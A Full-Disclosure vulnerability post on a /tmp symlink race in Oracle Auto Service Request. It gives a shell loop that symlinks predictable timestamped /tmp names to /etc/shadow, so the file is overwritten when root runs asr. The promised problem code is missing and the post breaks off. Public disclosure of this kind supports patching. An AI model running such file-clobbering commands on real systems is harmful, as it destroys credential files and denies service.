[Full-disclosure] Oracle Auto Service Request /tmp file clobbering vulnerability

<html><body><div><pre>Oracle Auto Service Request  /tmp file clobbering 
vulnerability

I noticed it creates files insecurely in /tmp using time stamps instead of 
mkstemp().  You can clobber root owned files if you know when around the time 
the root administrator will be using this utility.



[larry@oracle-os-lab01 tmp]$ for x in `seq  500 999`; do ln -s /etc/shadow 
/tmp/status1_020213003$x; done


root executes the asr command:

[root@oracle-os-lab01 bin]# ./asr
 
        register OR register [-e asr-manager-relay-url]: register ASR
        unregister : unregister ASR
        show_reg_status : show ASR registration status
        test_connection : test connection to Oracle
.
.
.

        version : show asr script version
        exit
        help : display a list of commands
        ? : display a list of commands
 

asr&gt; 

/etc/shadow is now overwritten with the contents of /tmp/status1_020213003722

Problem code:  

The asr binary is a wrapper for a java class, the following snippet of code is 
where the error lies:

This affects the software package on both Solaris and Linux.<br><br>Vendor
